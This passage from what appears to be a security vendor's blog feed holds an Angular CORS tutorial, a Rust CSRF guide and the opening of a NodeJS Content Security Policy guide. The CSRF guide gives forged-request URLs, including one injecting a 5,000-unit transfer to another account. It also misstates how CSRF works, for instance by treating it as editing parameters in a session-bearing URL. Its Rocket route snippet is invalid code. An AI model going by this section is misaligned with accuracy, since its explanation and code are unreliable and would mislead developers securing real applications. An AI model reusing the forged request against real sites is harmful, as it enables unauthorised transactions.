called server-side rendering because your server takes care of everything—serving static files, CSS styles, and images, fetching data from the database, and so on. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Server-side rendered web app.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The above shows how a server-side web app interacts with a user&amp;#39;s browser. So when a user visits a web page on your site, your server sends back the desired HTML page. &lt;/p&gt;&lt;h3&gt;Web Apps With Decoupled Front End and Back End&lt;/h3&gt;&lt;p&gt;The more popular way to create modern web apps is to decouple the front end and back end of your application. Your back end is connected to a database where you store all the information about the candies you sell. Your front end makes a request to the back end to fetch the data and displays it to the user. &lt;/p&gt;&lt;p&gt;&lt;i&gt;How modern web applications work.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As shown above, your front end makes an HTTP GET request to your back end to an endpoint, &lt;b&gt;/candy&lt;/b&gt;. Your back end then queries the database and gives the front end a JSON response. &lt;/p&gt;&lt;p&gt;But wait—what is &lt;b&gt;/candy&lt;/b&gt; ? That&amp;#39;s not a complete URL, right? &lt;/p&gt;&lt;h3&gt;Anatomy of a URL&lt;/h3&gt;&lt;p&gt;Conventionally, when we say our front end is making a request to an endpoint that begins with&lt;b&gt; /&lt;/b&gt;, it means the endpoint is hosted on the same domain as the front end. With respect to our previous example, we can say that both our front end and back end are hosted at mycandysite.com. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Front end and back end using the same domain.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;However, there&amp;#39;s more to a URL than just a domain. Since both our front end and back end are running on different servers, despite being on the same domain, they&amp;#39;re differentiated by the port number. A URL always has the following three components: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;scheme&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;domain&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;port&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Here&amp;#39;s how these three components look in an actual URL. In http://www.mycandysite.com:80, the HTTP part is the scheme, the www.mycandysite.com is the domain, and the 80 part is the port. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Anatomy of a URL.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The above three components together constitute the origin of the URL. If two URLs differ in any of the above three components, they have different origins. In the above example, our back end could be hosted at mycandysite.com:5000, and our front end could be hosted at mycandysite:8000. Both have different ports and therefore are of different origins. &lt;/p&gt;&lt;h2&gt;Browsers&amp;#39; &amp;quot;Same Origin&amp;quot; Policy and CORS&lt;/h2&gt;&lt;p&gt;Because of security measures, web browsers impose a &amp;quot;same origin&amp;quot; policy on all web apps. This policy states that a client on a browser can interact only with servers that have the same origin as the client. So in the previous case of a decoupled application, if your front end tries to request a resource from your server, the browser would throw an error. Since each is of a different origin, they aren&amp;#39;t allowed to share resources with each other. We call this the CORS error. &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS error due to browser&amp;#39;s same origin policy.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;To get around this, you need to tell your browser to enable your client and your server to share resources while being of different origins. In other words, you need to enable cross-origin resource sharing or CORS in your application. If you&amp;#39;re still curious and want to learn more about CORS in theory, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;here&amp;#39;s&lt;/u&gt;&lt;/a&gt; a great guide that dives deeper into the subject. What does a CORS error actually look like? Let&amp;#39;s see it inside an Angular application. &lt;/p&gt;&lt;h2&gt;CORS in Action&lt;/h2&gt;&lt;p&gt;To see CORS in action, we need a small mock server as our back end. Let&amp;#39;s create a simple NodeJS and Express application. &lt;/p&gt;&lt;h3&gt;Create Mock Server&lt;/h3&gt;&lt;p&gt;Inside a directory of your choice, run the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt; mkdir cors-server &amp;amp;&amp;amp; npm init -y &amp;amp;&amp;amp; npm i express&lt;/code&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Head over to the &lt;b&gt;cors-server&lt;/b&gt; folder, and create an &lt;b&gt;index.js&lt;/b&gt; file. Inside this file, add the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const express=require(&amp;#39;express&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const app=express();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const PORT=5000;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/&amp;#39;,(req,res)=&amp;gt;{
    res.send(&amp;quot;Welcome to CORS server! 😁&amp;quot;)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/candy&amp;#39;,(req,res)=&amp;gt;{
    res.json({&amp;#39;candy&amp;#39;:&amp;#39;bubble-gum&amp;#39;})
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.listen(PORT,()=&amp;gt;console.log(`server running on port ${PORT}`))&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;ve created a server with an endpoint &lt;b&gt;/candy&lt;/b&gt; that returns some JSON response. Let&amp;#39;s run this server using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;node index.js&lt;/code&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And now, if you visit http://localhost:5000/candy, you&amp;#39;ll get the following JSON response: &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS server.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Great! Let&amp;#39;s create an Angular application that makes a request to this endpoint. &lt;/p&gt;&lt;h3&gt;Create Angular Application&lt;/h3&gt;&lt;p&gt;Create a new Angular app by running &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng new angular-cors &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Replace everything inside your &lt;b&gt;app.component.html&lt;/b&gt; with the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Angular CORS App 😁&amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, let&amp;#39;s head over to the &lt;b&gt;app.component.ts&lt;/b&gt; file and make a request to our endpoint. &lt;/p&gt;&lt;p&gt;First, import the &lt;b&gt;HttpClient&lt;/b&gt; module as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import { HttpClient } from &amp;#39;@angular/common/http&amp;#39;; &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;ll need to inject this dependency in our component inside the constructor and create an instance of the dependency that we can later use. &lt;/p&gt;&lt;p&gt;&lt;code&gt;constructor(private http:HttpClient){&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, we&amp;#39;ll create a function &lt;b&gt;getCandy() &lt;/b&gt;and invoke it inside &lt;b&gt;ngOnInit(). &lt;/b&gt;Inside the &lt;b&gt;getCandy()&lt;/b&gt; function, we&amp;#39;ll use the &lt;b&gt;HttpClient&lt;/b&gt; instance &lt;b&gt;http&lt;/b&gt; to make a request to our endpoint and log the result to the console. Since the &lt;b&gt;getCandy()&lt;/b&gt; function is fired inside the &lt;b&gt;ngOnInit()&lt;/b&gt;, we&amp;#39;ll hit our server as soon as the &lt;b&gt;&amp;lt;app-component/&amp;gt;&lt;/b&gt; mounts on the &lt;a href=&quot;https://www.w3.org/TR/2000/PR-DOM-Level-2-Core-20000927/introduction.html&quot;&gt;&lt;u&gt;DOM&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;  ngOnInit(){
    this.getCandy();
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  getCandy(){
    this.http.get(&amp;#39;http://localhost:5000/candy&amp;#39;).subscribe(data=&amp;gt;{
      console.log(data)
    })
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, our &lt;b&gt;app.component.ts&lt;/b&gt; file should look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import { Component } from &amp;#39;@angular/core&amp;#39;;
import { HttpClient } from &amp;#39;@angular/common/http&amp;#39;;
@Component({
  selector: &amp;#39;app-root&amp;#39;,
  templateUrl: &amp;#39;./app.component.html&amp;#39;,
  styleUrls: [&amp;#39;./app.component.css&amp;#39;]
})
export class AppComponent {
  constructor(private http:HttpClient){&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  ngOnInit(){
    this.getCandy();
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  getCandy(){
    this.http.get(&amp;#39;http://localhost:5000/candy&amp;#39;).subscribe(data=&amp;gt;{
      console.log(data)
    })
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s kick-start our angular application by running &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng serve --port 8000 -open &lt;/code&gt;
&lt;/p&gt;&lt;p&gt;This should open our Angular application in the browser. &lt;/p&gt;&lt;p&gt;Visit http://localhost:8000 in your browser, and check the console. You&amp;#39;ll find a CORS error thrown by the browser.&lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS error in Angular.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Also, the browser has blocked your request, and you won&amp;#39;t be able to see the response of the request. &lt;/p&gt;&lt;p&gt;So, how do we fix this CORS error? &lt;/p&gt;&lt;h2&gt;Proxy Requests to Enable CORS in Angular&lt;/h2&gt;&lt;p&gt;When you&amp;#39;re in development, frameworks provide you a neat little hack to get around CORS. If you&amp;#39;re using React, luckily, I did a similar post on &lt;a href=&quot;https://www.stackhawk.com/blog/react-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;how to enable CORS in React&lt;/u&gt;&lt;/a&gt;. Basically, if our Angular application is running port 8000 and our back end is on 5000, we need to proxy requests from port 5000 to port 8000. &lt;/p&gt;&lt;p&gt;Does that sound complex? Let&amp;#39;s demystify it! Inside the &lt;b&gt;src&lt;/b&gt; folder of your application, create a new file called &lt;b&gt;proxy.conf.json&lt;/b&gt;. This is a JSON file that&amp;#39;ll contain the configuration for our proxy server. Here, we&amp;#39;ll tell our Angular application to act as another server that takes API calls and diverts them to &lt;u&gt;http://localhost:5000&lt;/u&gt;. &lt;/p&gt;&lt;p&gt;Inside the &lt;b&gt;proxy.conf.json&lt;/b&gt; file, add the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
  &amp;quot;/api&amp;quot;: {
    &amp;quot;target&amp;quot;: &amp;quot;http://localhost:5000&amp;quot;,
    &amp;quot;secure&amp;quot;: false
  }
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, we need to inform Angular about this proxy configuration. We can do that by adding a &lt;b&gt;proxyConfig&lt;/b&gt; option inside our &lt;b&gt;angular.json&lt;/b&gt; file. &lt;/p&gt;&lt;p&gt;&lt;code&gt;...
&amp;quot;architect&amp;quot;: {
  &amp;quot;serve&amp;quot;: {
    &amp;quot;builder&amp;quot;: &amp;quot;@angular-devkit/build-angular:dev-server&amp;quot;,
    &amp;quot;options&amp;quot;: {
      &amp;quot;browserTarget&amp;quot;: &amp;quot;your-application-name:build&amp;quot;,
      &amp;quot;proxyConfig&amp;quot;: &amp;quot;src/proxy.conf.json&amp;quot;
    },
...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s it! All you need to do now is restart your server using the &lt;b&gt;ng serve &lt;/b&gt;command. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s check back in our Angular application&amp;#39;s console: &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS enabled in Angular app.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;There it is! We can now see the JSON response from the endpoint. This means that our Angular application successfully interacted with our back-end API while being of a different origin. &lt;/p&gt;&lt;h2&gt;Drawbacks of Proxy Servers&lt;/h2&gt;&lt;p&gt;The above method works great, but I hate to break it to you that it&amp;#39;s only a development-time trick. This means you won&amp;#39;t get away with CORS using a proxy server in production. Angular-CLI provides this type of configuration, but not for your production app bundles. &lt;/p&gt;&lt;p&gt;Due to this method&amp;#39;s simplicity, it&amp;#39;s great to use it to enable CORS in development. For a more logical and foolproof solution, though, you must always enable CORS on the server side. &lt;/p&gt;&lt;h2&gt;Fix CORS on the Server Side&lt;/h2&gt;&lt;p&gt;To enable CORS on the server side based on our server&amp;#39;s configuration, we can set a Access-Control-Allow-Origin property on our response. When the browser receives the response, it receives this property in the headers of the request.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s go back to our NodeJS and Express server code. Let&amp;#39;s update our request handler with the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/candy&amp;#39;,(req,res)=&amp;gt;{
    res.set(&amp;#39;Access-Control-Allow-Origin&amp;#39;, &amp;#39;http://localhost:8000&amp;#39;);
    res.json({&amp;#39;candy&amp;#39;:&amp;#39;bubble-gum&amp;#39;})
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since we mention our front end&amp;#39;s origin, we have now enabled our server to interact with any incoming requests from the client running on &lt;u&gt;http://localhost:8000&lt;/u&gt;. You can set that value to be whatever you want, depending on which client you want to enable CORS for. &lt;/p&gt;&lt;p&gt;You can also use third-party packages like &lt;a href=&quot;http://expressjs.com/en/resources/middleware/cors.html&quot;&gt;&lt;u&gt;cors&lt;/u&gt;&lt;/a&gt; instead as a middleware for all your requests. First, you need to install this package by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i cors&lt;/code&gt; 
&lt;/p&gt;&lt;p&gt;Next, import it at the top as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const cors=require(&amp;#39;cors&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, you need to pass it inside your express app as a middleware: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.use(cors())&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Parting Advice&lt;/h2&gt;&lt;p&gt;I hope this simplified CORS for you and showed how you can enable it in your Angular application. For quick prototyping or testing, you can safely use the proxy configuration. However, you must always aim to handle CORS from the server. In situations where you don&amp;#39;t have access to server-side code, like a third-party API, you can implement a custom proxy server. All you need to do is make requests to your third-party API from this custom server and hit your own server to consume that data in your Angular application. &lt;/p&gt;&lt;p&gt;You can learn a lot more from &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. Check out the useful &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;blog,&lt;/u&gt;&lt;/a&gt; and find out how to &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;start a free account&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust CSRF Protection Guide: Examples and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-csrf-protection-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;Cross-site request forgery (CSRF)&lt;/u&gt;&lt;/a&gt; attacks are elaborate schemes by hackers to carry out a wide range of forgery requests within unsuspecting users&amp;#39; online accounts. These requests can be financial transactions, stealthy account coup d&amp;#39;état campaigns, or even just the deletion of sensitive data. With so many people invested in cryptocurrency (often built on the&lt;a href=&quot;https://openethereum.github.io/&quot;&gt; &lt;u&gt;Rust-lang Ethereum client&lt;/u&gt;&lt;/a&gt;), the threat of Rust CSRF attacks can cost millions of dollars at a time.&lt;/p&gt;&lt;p&gt;This post explores how liable Rust applications are to CSRF attacks and includes attack examples, vulnerability analysis, and prevention advice. Let&amp;#39;s get started by clarifying the concept before we turn our focus to remedies.&lt;/p&gt;&lt;h2&gt;Rust CSRF: The Concept&lt;/h2&gt;&lt;p&gt;Although Rust has a lot of robustness built into its syntax and methods, whenever you use it on the back end of web applications, it falls victim to CSRF attacks. This is because, by design, this breed of attack takes advantage of HTTP requests and the fact that any new tab of an application you open once you log in inherits the same session variables. This holds even when you click a link to the signed-in app via a different source (usually SMS or email).&lt;/p&gt;&lt;p&gt;Typically, here&amp;#39;s how the con plays out:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;A hacker crafts a malicious request targeting users of one particular Rust application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;They then send out an SMS communication to a user list scrapped from the same application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Once a user clicks a link to the target application, a communication laced with the payload ensues.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Upon opening said email leading to the browser, the request executes with no extra effort from the legitimate user.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Because the requests are executed after the user has logged in, they&amp;#39;re thus a form of forgery. Some attacks will ask the user to log in with a valid password before the request takes shape. This cuts the typical process by a step and makes it more potent. For size,&lt;a href=&quot;https://hackernoon.com/5-csrf-vulnerabilities-known-for-highest-bounty-rewards-rkq3zkh&quot;&gt; &lt;u&gt;CSRF bounties&lt;/u&gt;&lt;/a&gt; cash out anywhere between $3,000 to $25,000, depending on the severity and the discovery company&amp;#39;s profile.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;CSRF in Action&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;CSRF relies on HTTP requests, which implies that it targets web applications. For Rust, that means either you&amp;#39;re building your web apps with a &lt;a href=&quot;https://serokell.io/blog/open-source-rust&quot;&gt;&lt;u&gt;framework&lt;/u&gt;&lt;/a&gt;, or some areas behind the interface have the raw language elements. Either way, here are a few examples of CSRF attacks in action.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;HTTP URL Targeting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This happens when an attacker realizes that the link in the browser contains state-altering values. State, in this scenario, can be something as simple as a profile&amp;#39;s preferences, or even sensitive data like bank transaction requests.&lt;/p&gt;&lt;p&gt;&lt;code&gt;HTTPS://mywebsite.com/user/846329/session_id:3756320/&amp;amp;auth846329=true/%action=update/user_profile/lang=sp/&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The fact that this link is directly telling the server what to do is one hint that changes can be effected from the front end through forgery. In such a case, the hacker will take their time studying the processes and nomenclature on the back end. So much that when they have a working request, the server takes it as a genuine instance from the source code. In this case, that&amp;#39;d be an easy injection into the link, resulting in one like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;HTTPS://mywebsite.com/user/846329/session_id:3756320/&amp;amp;auth846329=true/%action=update/user_profile/tansfer_amount=5000/%check=true/receipient_account=627384/sendPoP=false&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;At this point, this may start to sound a little like Rust XSS. However,&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/#:~:text=the%20session%20ID.-,CSRF%20vs%20XSS,little%20protection%20to%20a%20site%20that%20is%20vulnerable%20to%20XSS.,-Testing%20for%20CSRF&quot;&gt; &lt;u&gt;there is a huge difference&lt;/u&gt;&lt;/a&gt;. You&amp;#39;ll be keen to know that the code injected here is targeting parts of the application that the user will not see—in particular, state on the database side. XSS, on the other hand, aims to plant content on the page that the user is currently viewing.&lt;/p&gt;&lt;h3&gt;Form Variables Manipulation&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s assume you decide to use one of the frameworks we alluded to earlier (we&amp;#39;ll look at&lt;a href=&quot;https://rocket.rs/&quot;&gt; &lt;u&gt;Rocket&lt;/u&gt;&lt;/a&gt;) to create a Rust web application. On that front, the easiest implementation of a form that collects user input and then posts it to action would look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here the default RawStr struct is part of how data is handled. This means there are plenty of creative ways a hacker can penetrate the process. For instance, since the collector form is visible, more values can be suggested to it to pass commands to the back ends. By nature, the RawStr struct doesn&amp;#39;t sanitize any inputs, making the planning stage of an attack much easier. One can create a matrix of allowable input, which adds up to an elaborate learning process of an account&amp;#39;s possible states.&lt;/p&gt;&lt;p&gt;Deleting an account (that has such a form as the conveyor belt of state-altering variables) would be as easy as passing an extra assignment with the user input.&lt;/p&gt;&lt;p&gt;&lt;code&gt;#[post(&amp;quot;/submit&amp;quot;, data = &amp;quot;&amp;lt;user_input&amp;gt;&amp;quot;/account_active=0)]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With these two demonstrations in mind, let&amp;#39;s quickly look at some preventive measures for Rust CSRF.&lt;/p&gt;&lt;h2&gt;Rust CSRF Prevention&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;When it comes to protecting your rust applications from CSRF attacks, &lt;b&gt;you&amp;#39;re better off using cargos&lt;/b&gt; from the official Rust library. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;These present themselves as cargos and sometimes specific libraries depending on what you need to secure. With that said, let&amp;#39;s assume you absolutely had to craft your own Rust CSRF fix. In this case, it would take some studying of the vulnerability.&lt;/p&gt;&lt;p&gt;Sticking to our examples, the URL vulnerability can be solved by either coding in patches on your own or applying site-wide middleware. Let&amp;#39;s explore both implementations below.&lt;/p&gt;&lt;h3&gt;How to Enable Rust CSRF Protection&lt;/h3&gt;&lt;p&gt;Best practice would have you explore the various Rust cargos available as patches for the possibility of a CSRF attack. However, if you insist, you can add some logic to your code so that the example loopholes don&amp;#39;t catch you unaware.&lt;/p&gt;&lt;p&gt;To start with, the URL forgery loophole can be sealed by encrypting variables in the URL. This means the cookies, tokens, and any other framework-generated variables go through authenticity checks before they make it to the server. You can achieve this by deploying the&lt;a href=&quot;https://docs.rs/csrf/0.4.0/csrf/&quot;&gt; &lt;u&gt;csrf crate&lt;/u&gt;&lt;/a&gt; into your project.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s a look at a simple implementation of this library (from its documentation).&lt;/p&gt;&lt;p&gt;&lt;i&gt;Rust csrf cargo implementation.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Long story short, the &lt;b&gt;csrf&lt;/b&gt; library generates a &lt;b&gt;cookie-token pair&lt;/b&gt; that should match every authentication attempt later passed to the server.&lt;/p&gt;&lt;p&gt;When looking at the form manipulation vulnerability, your best bet is to experiment with a couple of cargo options that provide a blanket solution to CSRF. A particularly effective solution is the &lt;a href=&quot;https://docs.rs/iron-csrf/0.4.0/iron_csrf/&quot;&gt;&lt;u&gt;Rust iron_csrf&lt;/u&gt;&lt;/a&gt; library.&lt;/p&gt;&lt;p&gt;In addition to HTTP request protection, the iron_crsf checks all CRUD processes emanating from forms and APIs in Rust applications. It effectively sanitizes all POST, PATCH, PUT, DELETE, and other verbs you might think to implement within your Rust application.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion: Catch CSRF During CI&lt;/h2&gt;&lt;p&gt;So far we&amp;#39;ve been assuming that your application is already in production. We then examined just how an unassuming URL can be the doorway for hackers to run malicious requests on your server. Unsanitized forms and APIs are also common gateways for hackers to carry out CSRF attacks on rust applications. The patches we explored act as remediating measures to already active risks, with the iron_csrf middleware being capable of covering most vulnerability points.&lt;/p&gt;&lt;p&gt;Have it known that hackers aim to make the most from any vulnerability. As such, it&amp;#39;s best to put up preventive measures to cancel out vulnerabilities before they go into production.&lt;/p&gt;&lt;p&gt;This is where scanning software comes in handy as part of your continuous integration (CI) check.&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; automatically checks for newly introduced sources of vulnerabilities in your code. This happens as your team adds new features through version control. StackHawk gives you a chance to rectify CSRF doorways before they mature into breaches.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Building a solid web application requires an extensive understanding of fundamentals in developments, infrastructure, and security. Ensuring the stability of our platforms and the security of our users&amp;#39; information is a critical matter that is getting more complex and sensitive over time. With every passing year, threats get more abundant and complex, so to mitigate this, software companies are incorporating more sophisticated and robust solutions. Developers have a responsibility to ensure that we take advantage of these solutions and adapt our software to comply with the policies and implement the necessary measures. &lt;/p&gt;&lt;p&gt;One of such measures is Content Security Policy or CSP. The purpose of this article is to help demystify the concept of content security, briefly define what CSP is, illustrate how to enable CSP in NodeJS, explore some possible errors the reader might encounter, and show how to address them. &lt;/p&gt;&lt;p&gt;If you have no experience working with NodeJS or you are just dipping your toes in it, we highly recommend you take some time to explore &lt;a href=&quot;https://nodejs.dev/en/learn&quot;&gt;&lt;u&gt;this introduction to NodeJS&lt;/u&gt;&lt;/a&gt; and make yourself familiar with it. We will discuss some aspects that might not be immediately clear unless you have some background in NodeJS. &lt;/p&gt;&lt;p&gt;Without further ado, let&amp;#39;s jump right in. &lt;/p&gt;&lt;h2&gt;What Is Content Security Policy?&lt;/h2&gt;&lt;p&gt;Content Security Policy is a set of policies or instructions that the browser enforces on web pages. During the process of loading a page, the browser has to request and render a bunch of content and code. This process is standard and usually harmless, as pretty much all modern websites are in nature complex and composed of lots of lines of HTML, CSS, JavaScript, and other resources like images and files that the code references. This referenced code could be from the same origin (requested domain) or another origin; browsers usually don&amp;#39;t distinguish that. So naturally, the browser will process and execute these resources. It is crucial that the browser does not run any malicious code or access data that does not belong to the current website. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A CSP provides a response header to ensure that the browser only executes resources &lt;b&gt;vetted&lt;/b&gt; by the original website. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;This indicates what resources are allowed to be processed by the browser. The security layer helps mitigate attackers from taking advantage of vulnerabilities like cross-site scripting (XSS) and injection attacks. &lt;/p&gt;&lt;p&gt;A basic Content Security Policy header would look something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39;; style-src &amp;#39;self&amp;#39;; font-src &amp;#39;self&amp;#39;; img-src &amp;#39;self&amp;#39;; frame-src &amp;#39;self&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As you can see, each section in the header is pertinent to a specific kind of source. These may be images (img-src), scripts (script-src), styles (style-src), and so forth. In addition, the &amp;#39;self&amp;#39; directive states that only resources from the same origin will be allowed to be executed. You can specify domains that you want to retrieve resources from by putting their URLs next to &amp;#39;self.&amp;#39; Additionally, you can allow all domains by setting &amp;#39;*&amp;#39; (but don&amp;#39;t do this unless you &lt;i&gt;absolutely&lt;/i&gt; have to). &lt;/p&gt;&lt;h2&gt;Enabling NodeJS Content Security Policy&lt;/h2&gt;&lt;p&gt;Now that we are familiar with Content Security Policy and how it looks, let&amp;#39;s see it in our code. &lt;/p&gt;&lt;p&gt;To implement basic CSP in NodeJS, you need to make sure that the header is being attached to all responses. To achieve this, open your js file, which contains the application server logic, and append the following code.  &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;It will look like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Lines of code that include the above code snippet.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Pretty simple right? &lt;/p&gt;&lt;p&gt;Once you address this, you can check that the response header contains the configuration mentioned above. The browser will enforce it, most likely resulting in a broken page and tons of alerts. &lt;/p&gt;&lt;p&gt;&lt;i&gt;A list of alerts from the code.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;No need to panic. Implementing proper Content Security Policies into our application requires a fair amount of changes and testing. For now, we want to address the errors while still having a functional site, and that&amp;#39;s where the 